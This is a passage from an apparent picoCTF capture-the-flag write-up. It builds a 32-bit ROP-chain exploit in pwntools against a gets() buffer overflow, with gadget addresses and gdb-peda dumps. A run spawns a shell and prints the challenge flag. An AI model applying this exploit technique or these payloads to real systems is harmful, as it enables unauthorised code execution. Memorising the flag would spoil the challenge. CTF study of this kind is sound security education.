payload += p32(mov_eax_to_edx) # mov dword ptr[edx], eax; ret
writeable_memory += 3
payload += p32(0x08049303) # xor eax, eax; ret - sets eax to 0
payload += p32(pop_edx) # pop edx; ret
payload += p32(writeable_memory) # make the string NULL terminated
payload += p32(mov_eax_to_edx) # mov dword ptr[edx], eax; ret
payload += "CCCC"
print payload
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x80481a8 (<_init>: push ebx)
ECX: 0x80ea360 --> 0xfbad2088
EDX: 0x80e904b --> 0x0
ESI: 0x80ea00c --> 0x80671f0 (<__strcpy_sse2>: mov edx,DWORD PTR [esp+0x4])
EDI: 0x55 ('U')
EBP: 0x80e9040 --> 0x100ec343
ESP: 0xffffd574 --> 0x0
EIP: 0x43434343 ('CCCC')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x43434343
[------------------------------------stack-------------------------------------]
0000| 0xffffd574 --> 0x0
0004| 0xffffd578 --> 0xffffd624 --> 0xffffd756 ("/home/EverTokki/rop/gets")
0008| 0xffffd57c --> 0x80488a3 (<main>: lea ecx,[esp+0x4])
0012| 0xffffd580 --> 0x0
0016| 0xffffd584 --> 0x80481a8 (<_init>: push ebx)
0020| 0xffffd588 --> 0x80ea00c --> 0x80671f0 (<__strcpy_sse2>: mov edx,DWORD PTR [esp+0x4])
0024| 0xffffd58c --> 0x55 ('U')
0028| 0xffffd590 --> 0x1000
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x43434343 in ?? ()
gdb-peda$ x/s 0x080e9040
0x80e9040: "C\303\016\020/bin/sh"
gdb-peda$ x/s 0x080e9044
0x80e9044: "/bin/sh"
gdb-peda$
Okay, for some reason, I wasn't able to overwrite the memory just with '/bin/sh', I had to add a padding - but now it works. We have "/bin/sh" in memory.
I calculated the padding wrong, It's supposed to be 28 bytes.
Onto the next step.
0x0806f051 : pop ecx ; pop ebx ; ret 0x080d5dc1 : inc ecx ; ret 0x0805d097 : inc edx ; ret
0x0808f097 : add eax, 2 ; ret 0x0808f0b0 : add eax, 3 ; ret
0x0806cc25 : int 0x80 0x080481b2 : ret |
from pwn import *
#r = process('/problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40/gets')
#r = process('/home/EverTokki/rop/gets')
writeable_memory = 0x080e9040
binsh = 0x80e9044
int80 = 0x0806cc25
ret = 0x080481b2
pop_eax = 0x080b81c6
pop_edx = 0x0806f02a
pop_ecx_ebx = 0x0806f051
mov_eax_to_edx = 0x080549db
set_eax_zero = 0x08049303
add_eax_two = 0x0808f097
add_eax_three = 0x0808f0b0
inc_ecx = 0x080d5dc1
inc_edx = 0x0805d097
payload = ""
# reaching the saved return address
payload += "A"*20
payload += p32(pop_edx) # pop edx; ret
payload += p32(writeable_memory) # read_writeable space
payload += p32(pop_eax) # pop eax; ret
payload += "BBBB" # first part of /bin/sh
payload += p32(mov_eax_to_edx)
writeable_memory += 4
payload += p32(pop_edx) # pop edx; ret
payload += p32(writeable_memory) # read_writeable space
payload += p32(pop_eax) # pop eax; ret
payload += "/bin" # first part of /bin/sh
payload += p32(mov_eax_to_edx) # mov dword ptr[edx], eax; ret
writeable_memory += 4
payload += p32(pop_edx) # pop edx; ret
payload += p32(writeable_memory) # read_writeable space
payload += p32(pop_eax) # pop eax; ret
payload += "/shX" # null-terminate this string later
payload += p32(mov_eax_to_edx) # mov dword ptr[edx], eax; ret
writeable_memory += 3
payload += p32(set_eax_zero) # xor eax, eax; ret - sets eax to 0
payload += p32(pop_edx) # pop edx; ret
payload += p32(writeable_memory) # make the string NULL terminated
payload += p32(mov_eax_to_edx) # mov dword ptr[edx], eax; ret
payload += p32(pop_ecx_ebx) # pop ecx ; pop ebx ; ret
payload += p32(0xffffffff) # ecx --> will add 1 to zero it out
payload += p32(binsh) # ebx --> /bin/sh
payload += p32(inc_ecx) # inc ecx ; ret
payload += p32(pop_edx) # pop edx ret
payload += p32(0xffffffff) # edx --> will add 1 to zero it out
payload += p32(inc_edx) # inc edx ; ret
payload += p32(set_eax_zero) # xor eax, eax; ret
payload += p32(add_eax_three)
payload += p32(add_eax_three)
payload += p32(add_eax_three)
payload += p32(add_eax_two) # eax = 0x0b
payload += p32(int80)
payload += p32(ret)
#print r.recvuntil("GIVE ME YOUR NAME!")
#r.send(payload)
#r.interactive()
print payload
EverTokki@pico-2018-shell:~/rop$ gdb -q gets
Reading symbols from gets...(no debugging symbols found)...done.
gdb-peda$ run < input
Starting program: /home/EverTokki/rop/gets < input
GIVE ME YOUR NAME!
process 153281 is executing new program: /bin/dash
process 153281 is executing new program: /bin/dash
[Inferior 1 (process 153281) exited normally]
Warning: not running
gdb-peda$
Is that a shell? Looks like it to me.
EverTokki@pico-2018-shell:~/rop$ python rop_exp.py
[+] Starting local process '/problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40/gets': pid 153530
GIVE ME YOUR NAME!
[*] Switching to interactive mode
$
$ cd /problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40/
$ ls
flag.txt gets gets.c
$ cat flag.txt
picoCTF{rOp_yOuR_wAY_tO_AnTHinG_f5072d23}$
Final exploit (revised):
from pwn import *
r = process('/problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40/gets')
#r = process('/home/EverTokki/rop/gets')
writeable_memory = 0x080e9040
binsh = 0x80e9040
int80 = 0x0806cc25
ret = 0x080481b2
pop_eax = 0x080b81c6
pop_edx = 0x0806f02a
pop_ecx_ebx = 0x0806f051
mov_eax_to_edx = 0x080549db
set_eax_zero = 0x08049303
add_eax_two = 0x0808f097
add_eax_three = 0x0808f0b0
inc_ecx = 0x080d5dc1
inc_edx = 0x0805d097
payload = ""
# reaching the saved return address
payload += "A"*28
payload += p32(pop_edx) # pop edx; ret
payload += p32(writeable_memory) # read_writeable space
payload += p32(pop_eax) # pop eax; ret
payload += "/bin" # first part of /bin/sh
payload += p32(mov_eax_to_edx) # mov dword ptr[edx], eax; ret
writeable_memory += 4
payload += p32(pop_edx) # pop edx; ret
payload += p32(writeable_memory) # read_writeable space
payload += p32(pop_eax) # pop eax; ret
payload += "/shX" # null-terminate this string later
payload += p32(mov_eax_to_edx) # mov dword ptr[edx], eax; ret
writeable_memory += 3
payload += p32(set_eax_zero) # xor eax, eax; ret - sets eax to 0
payload += p32(pop_edx) # pop edx; ret
payload += p32(writeable_memory) # make the string NULL terminated
payload += p32(mov_eax_to_edx) # mov dword ptr[edx], eax; ret
payload += p32(pop_ecx_ebx) # pop ecx ; pop ebx ; ret
payload += p32(0xffffffff) # ecx --> will add 1 to zero it out
payload += p32(binsh) # ebx --> /bin/sh
payload += p32(inc_ecx) # inc ecx ; ret
payload += p32(pop_edx) # pop edx ret
payload += p32(0xffffffff) # edx --> will add 1 to zero it out
payload += p32(inc_edx) # inc edx ; ret
payload += p32(set_eax_zero) # xor eax, eax; ret
payload += p32(add_eax_three)
payload += p32(add_eax_three)
payload += p32(add_eax_three)
payload += p32(add_eax_two) # eax = 0x0b
payload += p32(int80)
payload += p32(ret)
#print payload
print r.recvuntil("GIVE ME YOUR NAME!")
r.send(payload)
r.interactive()